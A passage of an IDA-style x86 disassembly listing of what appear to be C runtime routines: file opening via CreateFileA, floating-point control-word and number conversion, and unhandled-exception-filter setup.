or byte ptr [ebp+var_C+2], 1
loc_41DF51: ; CODE XREF: sub_41DDF6+14Fj
test ah, 10h
jz short loc_41DF58
or esi, edi
loc_41DF58: ; CODE XREF: sub_41DDF6+15Ej
test al, 20h
jz short loc_41DF64
or esi, 8000000h
jmp short loc_41DF6E
; ---------------------------------------------------------------------------
loc_41DF64: ; CODE XREF: sub_41DDF6+164j
test al, 10h
jz short loc_41DF6E
or esi, 10000000h
loc_41DF6E: ; CODE XREF: sub_41DDF6+16Cj
; sub_41DDF6+170j
call sub_41DBDC
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41DF8F
and dword_46B638, 0
mov dword_46B634, 18h
jmp short loc_41DFCD
; ---------------------------------------------------------------------------
loc_41DF8F: ; CODE XREF: sub_41DDF6+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41DFC0
push esi
call dword_421030 ; GetFileType
test eax, eax
jnz short loc_41DFD4
push esi
call dword_42106C ; CloseHandle
loc_41DFC0: ; CODE XREF: sub_41DDF6+1B6j
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41CE74
pop ecx
loc_41DFCD: ; CODE XREF: sub_41DDF6+197j
mov eax, edi
jmp loc_41E0AA
; ---------------------------------------------------------------------------
loc_41DFD4: ; CODE XREF: sub_41DDF6+1C1j
cmp eax, 2
jnz short loc_41DFDF
or [ebp+var_1], 40h
jmp short loc_41DFE8
; ---------------------------------------------------------------------------
loc_41DFDF: ; CODE XREF: sub_41DDF6+1E1j
cmp eax, 3
jnz short loc_41DFE8
or [ebp+var_1], 8
loc_41DFE8: ; CODE XREF: sub_41DDF6+1E7j
; sub_41DDF6+1ECj
push esi
push ebx
call sub_41DC71
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:46C960h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41E091
test al, 80h
jz short loc_41E091
test byte ptr [ebp+arg_4], 2
jz short loc_41E091
push 2
push 0FFFFFFFFh
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41E046
cmp dword_46B638, 83h
jz short loc_41E091
jmp short loc_41E085
; ---------------------------------------------------------------------------
loc_41E046: ; CODE XREF: sub_41DDF6+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41C251
add esp, 0Ch
test eax, eax
jnz short loc_41E073
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41E073
push [ebp+var_10]
push ebx
call sub_41F120
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E085
loc_41E073: ; CODE XREF: sub_41DDF6+265j
; sub_41DDF6+26Bj
push 0
push 0
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41E091
loc_41E085: ; CODE XREF: sub_41DDF6+24Ej
; sub_41DDF6+27Bj
push ebx
call sub_4185EB
pop ecx
loc_41E08C: ; CODE XREF: sub_41DDF6+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41E0AA
; ---------------------------------------------------------------------------
loc_41E091: ; CODE XREF: sub_41DDF6+221j
; sub_41DDF6+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41E0A8
test byte ptr [ebp+arg_4], 8
jz short loc_41E0A8
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41E0A8: ; CODE XREF: sub_41DDF6+29Fj
; sub_41DDF6+2A5j
mov eax, ebx
loc_41E0AA: ; CODE XREF: sub_41DDF6+1D9j
; sub_41DDF6+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41DDF6 endp
; =============== S U B R O U T I N E =======================================
sub_41E0AF proc near ; CODE XREF: sub_41A43E+52p
xor eax, eax
retn
sub_41E0AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0B2 proc near ; CODE XREF: sub_41E0E7+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41E0FD
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41E18F
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41E0B2 endp
; =============== S U B R O U T I N E =======================================
sub_41E0E7 proc near ; CODE XREF: sub_41A72A+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41E0B2
pop ecx
pop ecx
retn
sub_41E0E7 endp
; =============== S U B R O U T I N E =======================================
sub_41E0FD proc near ; CODE XREF: sub_41E0B2+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41E10E
push 10h
pop eax
loc_41E10E: ; CODE XREF: sub_41E0FD+Cj
test bl, 4
jz short loc_41E115
or al, 8
loc_41E115: ; CODE XREF: sub_41E0FD+14j
test bl, 8
jz short loc_41E11C
or al, 4
loc_41E11C: ; CODE XREF: sub_41E0FD+1Bj
test bl, 10h
jz short loc_41E123
or al, 2
loc_41E123: ; CODE XREF: sub_41E0FD+22j
test bl, 20h
jz short loc_41E12A
or al, 1
loc_41E12A: ; CODE XREF: sub_41E0FD+29j
test bl, 2
jz short loc_41E134
or eax, 80000h
loc_41E134: ; CODE XREF: sub_41E0FD+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41E16C
cmp edx, 400h
jz short loc_41E169
cmp edx, 800h
jz short loc_41E165
cmp edx, esi
jnz short loc_41E16C
or eax, edi
jmp short loc_41E16C
; ---------------------------------------------------------------------------
loc_41E165: ; CODE XREF: sub_41E0FD+5Ej
or eax, ebp
jmp short loc_41E16C
; ---------------------------------------------------------------------------
loc_41E169: ; CODE XREF: sub_41E0FD+56j
or ah, 1
loc_41E16C: ; CODE XREF: sub_41E0FD+4Ej
; sub_41E0FD+62j ...
and ecx, edi
pop esi
jz short loc_41E17C
cmp ecx, ebp
jnz short loc_41E181
or eax, 10000h
jmp short loc_41E181
; ---------------------------------------------------------------------------
loc_41E17C: ; CODE XREF: sub_41E0FD+72j
or eax, 20000h
loc_41E181: ; CODE XREF: sub_41E0FD+76j
; sub_41E0FD+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41E18E
or eax, 40000h
locret_41E18E: ; CODE XREF: sub_41E0FD+8Aj
retn
sub_41E0FD endp
; =============== S U B R O U T I N E =======================================
sub_41E18F proc near ; CODE XREF: sub_41E0B2+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41E19F
push 1
pop eax
loc_41E19F: ; CODE XREF: sub_41E18F+Bj
test bl, 8
jz short loc_41E1A6
or al, 4
loc_41E1A6: ; CODE XREF: sub_41E18F+13j
test bl, 4
jz short loc_41E1AD
or al, 8
loc_41E1AD: ; CODE XREF: sub_41E18F+1Aj
test bl, 2
jz short loc_41E1B4
or al, 10h
loc_41E1B4: ; CODE XREF: sub_41E18F+21j
test bl, 1
jz short loc_41E1BB
or al, 20h
loc_41E1BB: ; CODE XREF: sub_41E18F+28j
test ebx, 80000h
jz short loc_41E1C5
or al, 2
loc_41E1C5: ; CODE XREF: sub_41E18F+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41E1F2
cmp ecx, 100h
jz short loc_41E1EF
cmp ecx, esi
jz short loc_41E1EA
cmp ecx, edx
jnz short loc_41E1F2
or ah, 0Ch
jmp short loc_41E1F2
; ---------------------------------------------------------------------------
loc_41E1EA: ; CODE XREF: sub_41E18F+50j
or ah, 8
jmp short loc_41E1F2
; ---------------------------------------------------------------------------
loc_41E1EF: ; CODE XREF: sub_41E18F+4Cj
or ah, 4
loc_41E1F2: ; CODE XREF: sub_41E18F+44j
; sub_41E18F+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41E208
cmp ecx, 10000h
jnz short loc_41E20A
or eax, esi
jmp short loc_41E20A
; ---------------------------------------------------------------------------
loc_41E208: ; CODE XREF: sub_41E18F+6Bj
or eax, edx
loc_41E20A: ; CODE XREF: sub_41E18F+73j
; sub_41E18F+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41E217
or ah, 10h
locret_41E217: ; CODE XREF: sub_41E18F+83j
retn
sub_41E18F endp
; =============== S U B R O U T I N E =======================================
sub_41E218 proc near ; CODE XREF: sub_41E2B7+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41E25D
inc esi
cmp esi, 3
jge short loc_41E258
lea eax, [eax+esi*4]
loc_41E24A: ; CODE XREF: sub_41E218+3Ej
cmp dword ptr [eax], 0
jnz short loc_41E25D
inc esi
add eax, 4
cmp esi, 3
jl short loc_41E24A
loc_41E258: ; CODE XREF: sub_41E218+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E25D: ; CODE XREF: sub_41E218+27j
; sub_41E218+35j
xor eax, eax
pop esi
retn
sub_41E218 endp
; =============== S U B R O U T I N E =======================================
sub_41E261 proc near ; CODE XREF: sub_41E2B7+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41F266
add esp, 0Ch
dec esi
js short loc_41E2B3
lea edi, [ebx+esi*4]
loc_41E29A: ; CODE XREF: sub_41E261+50j
test eax, eax
jz short loc_41E2B3
push edi
push 1
push dword ptr [edi]
call sub_41F266
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41E29A
loc_41E2B3: ; CODE XREF: sub_41E261+34j
; sub_41E261+3Bj
pop edi
pop esi
pop ebx
retn
sub_41E261 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E2B7 proc near ; CODE XREF: sub_41E412+81p
; sub_41E412+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41E31B
inc ebx
push ebx
push [ebp+arg_0]
call sub_41E218
pop ecx
test eax, eax
pop ecx
jnz short loc_41E318
push edi
push [ebp+arg_0]
call sub_41E261
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41E318: ; CODE XREF: sub_41E2B7+51j
mov eax, [ebp+arg_4]
loc_41E31B: ; CODE XREF: sub_41E2B7+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41E33B
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41E33B: ; CODE XREF: sub_41E2B7+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41E2B7 endp
; =============== S U B R O U T I N E =======================================
sub_41E343 proc near ; CODE XREF: sub_41E412+75p
; sub_41E412+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41E351: ; CODE XREF: sub_41E343+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41E351
pop esi
retn
sub_41E343 endp
; =============== S U B R O U T I N E =======================================
sub_41E35E proc near ; CODE XREF: sub_41E412+5Fp
; sub_41E412+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41E35E endp
; =============== S U B R O U T I N E =======================================
sub_41E36A proc near ; CODE XREF: sub_41E412+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41E370: ; CODE XREF: sub_41E36A+12j
cmp dword ptr [eax], 0
jnz short loc_41E382
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41E370
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41E382: ; CODE XREF: sub_41E36A+9j
xor eax, eax
retn
sub_41E36A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E385 proc near ; CODE XREF: sub_41E412+C0p
; sub_41E412+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41E3BB: ; CODE XREF: sub_41E385+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41E3BB
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41E3ED: ; CODE XREF: sub_41E385+86j
cmp ebx, edi
jl short loc_41E400
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41E407
; ---------------------------------------------------------------------------
loc_41E400: ; CODE XREF: sub_41E385+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41E407: ; CODE XREF: sub_41E385+79j
dec ebx
sub ecx, 4
jns short loc_41E3ED
pop edi
pop esi
pop ebx
leave
retn
sub_41E385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E412 proc near ; CODE XREF: sub_41E57E+Dp
; sub_41E594+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41E47F
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41E36A
test eax, eax
pop ecx
jnz loc_41E53E
lea eax, [ebp+var_C]
push eax
call sub_41E35E
pop ecx
loc_41E477: ; CODE XREF: sub_41E412+E4j
push 2
loc_41E479: ; CODE XREF: sub_41E412+110j
pop eax
jmp loc_41E540
; ---------------------------------------------------------------------------
loc_41E47F: ; CODE XREF: sub_41E412+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41E343
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E2B7
add esp, 10h
test eax, eax
jz short loc_41E4A0
inc ebx
loc_41E4A0: ; CODE XREF: sub_41E412+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41E4B8
lea eax, [ebp+var_C]
push eax
call sub_41E35E
pop ecx
jmp short loc_41E4F4
; ---------------------------------------------------------------------------
loc_41E4B8: ; CODE XREF: sub_41E412+98j
cmp ebx, eax
jg short loc_41E4FB
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E343
lea eax, [ebp+var_C]
push esi
push eax
call sub_41E385
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E2B7
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E385
add esp, 20h
loc_41E4F4: ; CODE XREF: sub_41E412+A4j
xor esi, esi
jmp loc_41E477
; ---------------------------------------------------------------------------
loc_41E4FB: ; CODE XREF: sub_41E412+A8j
cmp ebx, [edi]
jl short loc_41E527
lea eax, [ebp+var_C]
push eax
call sub_41E35E
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41E385
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41E479
; ---------------------------------------------------------------------------
loc_41E527: ; CODE XREF: sub_41E412+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41E385
pop ecx
pop ecx
loc_41E53E: ; CODE XREF: sub_41E412+55j
xor eax, eax
loc_41E540: ; CODE XREF: sub_41E412+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41E56F
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41E579
; ---------------------------------------------------------------------------
loc_41E56F: ; CODE XREF: sub_41E412+14Ej
cmp edi, 20h
jnz short loc_41E579
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41E579: ; CODE XREF: sub_41E412+15Bj
; sub_41E412+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41E412 endp
; =============== S U B R O U T I N E =======================================
sub_41E57E proc near ; CODE XREF: sub_41E5AA+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43A8C0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E412
add esp, 0Ch
retn
sub_41E57E endp
; =============== S U B R O U T I N E =======================================
sub_41E594 proc near ; CODE XREF: sub_41E5D7+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43A8D8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E412
add esp, 0Ch
retn
sub_41E594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5AA proc near ; CODE XREF: sub_41A863+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F407
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41E57E
add esp, 24h
leave
retn
sub_41E5AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5D7 proc near ; CODE XREF: sub_41A863+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F407
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41E594
add esp, 24h
leave
retn
sub_41E5D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E604 proc near ; CODE XREF: sub_41A8A1+65p
; sub_41A9A5+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41E641
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41E627: ; CODE XREF: sub_41E604+38j
mov dl, [ecx]
test dl, dl
jz short loc_41E633
movsx edx, dl
inc ecx
jmp short loc_41E636
; ---------------------------------------------------------------------------
loc_41E633: ; CODE XREF: sub_41E604+27j
push 30h
pop edx
loc_41E636: ; CODE XREF: sub_41E604+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41E627
mov edx, [ebp+arg_8]
loc_41E641: ; CODE XREF: sub_41E604+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41E65A
cmp byte ptr [ecx], 35h
jl short loc_41E65A
loc_41E64D: ; CODE XREF: sub_41E604+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41E658
mov byte ptr [eax], 30h
jmp short loc_41E64D
; ---------------------------------------------------------------------------
loc_41E658: ; CODE XREF: sub_41E604+4Dj
inc byte ptr [eax]
loc_41E65A: ; CODE XREF: sub_41E604+42j
; sub_41E604+47j
cmp byte ptr [esi], 31h
jnz short loc_41E664
inc dword ptr [edx+4]
jmp short loc_41E676
; ---------------------------------------------------------------------------
loc_41E664: ; CODE XREF: sub_41E604+59j
push edi
call sub_415B10
inc eax
push eax
push edi
push esi
call sub_416320
add esp, 10h
loc_41E676: ; CODE XREF: sub_41E604+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E67B proc near ; CODE XREF: sub_41A8A1+3Fp
; sub_41A9A5+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E6DF
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_46B808
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41F8D8
mov dword_46B830, eax
add esp, 18h
movsx eax, byte_46B80A
mov dword_46B828, eax
pop edi
movsx eax, word_46B808
mov dword_46B82C, eax
mov dword_46B834, offset dword_46B80C
mov eax, offset dword_46B828
pop esi
leave
retn
sub_41E67B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6DF proc near ; CODE XREF: sub_41E67B+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41E72D
cmp ebx, edi
jz short loc_41E726
lea edi, [ecx+3C00h]
jmp short loc_41E74E
; ---------------------------------------------------------------------------
loc_41E726: ; CODE XREF: sub_41E6DF+3Dj
mov edi, 7FFFh
jmp short loc_41E74E
; ---------------------------------------------------------------------------
loc_41E72D: ; CODE XREF: sub_41E6DF+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41E745
cmp edx, ebx
jnz short loc_41E745
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41E790
; ---------------------------------------------------------------------------
loc_41E745: ; CODE XREF: sub_41E6DF+52j
; sub_41E6DF+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41E74E: ; CODE XREF: sub_41E6DF+45j
; sub_41E6DF+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41E766: ; CODE XREF: sub_41E6DF+A6j
test ecx, esi
jnz short loc_41E787
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41E766
; ---------------------------------------------------------------------------
loc_41E787: ; CODE XREF: sub_41E6DF+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41E790: ; CODE XREF: sub_41E6DF+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41E6DF endp
; ---------------------------------------------------------------------------
push 2
call sub_417C0E
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41E79E proc near ; DATA XREF: sub_41E7E4o
; seg001:0043A298o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41E7C1
cmp dword ptr [eax+10h], 3
jnz short loc_41E7C1
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41E7C1
jmp sub_41B42C
; ---------------------------------------------------------------------------
loc_41E7C1: ; CODE XREF: sub_41E79E+Dj
; sub_41E79E+13j ...
mov eax, dword_46B838
test eax, eax
jz short loc_41E7DE
push eax
call sub_41E83A
test eax, eax
pop ecx
jz short loc_41E7DE
push esi
call dword_46B838
jmp short loc_41E7E0
; ---------------------------------------------------------------------------
loc_41E7DE: ; CODE XREF: sub_41E79E+2Aj
; sub_41E79E+35j
xor eax, eax
loc_41E7E0: ; CODE XREF: sub_41E79E+3Ej
pop esi
retn 4
sub_41E79E endp
; =============== S U B R O U T I N E =======================================
sub_41E7E4 proc near ; DATA XREF: seg001:00423024o
push offset sub_41E79E
call dword_42101C ; SetUnhandledExceptionFilter
mov dword_46B838, eax
retn
sub_41E7E4 endp
; =============== S U B R O U T I N E =======================================
sub_41E7F5 proc near ; DATA XREF: seg001:0042303Co
push dword_46B838
call dword_42101C ; SetUnhandledExceptionFilter
retn
sub_41E7F5 endp
; =============== S U B R O U T I N E =======================================
sub_41E802 proc near ; CODE XREF: sub_41AC79+6Bp
; sub_41B18A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421018 ; IsBadReadPtr
test eax, eax
jz short loc_41E81A
xor esi, esi
loc_41E81A: ; CODE XREF: sub_41E802+14j
mov eax, esi
pop esi
retn
sub_41E802 endp
; =============== S U B R O U T I N E =======================================
sub_41E81E proc near ; CODE XREF: sub_41B18A+73p
; sub_41B18A+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421184 ; IsBadWritePtr
test eax, eax
jz short loc_41E836
xor esi, esi
loc_41E836: ; CODE XREF: sub_41E81E+14j
mov eax, esi
pop esi
retn
sub_41E81E endp
; =============== S U B R O U T I N E =======================================
sub_41E83A proc near ; CODE XREF: sub_41B18A+15Bp
; sub_41E79E+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_421014 ; IsBadCodePtr
test eax, eax
jz short loc_41E84E
xor esi, esi
loc_41E84E: ; CODE XREF: sub_41E83A+10j
mov eax, esi
pop esi
retn
sub_41E83A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41B42C
loc_41E852: ; CODE XREF: sub_41B42C:loc_41B47Dj
push 0Ah
call sub_41D7B5
push 16h
call sub_41FB6B
pop ecx
pop ecx
push 3
call sub_417858
; END OF FUNCTION CHUNK FOR sub_41B42C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E869 proc near ; CODE XREF: sub_41B605+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
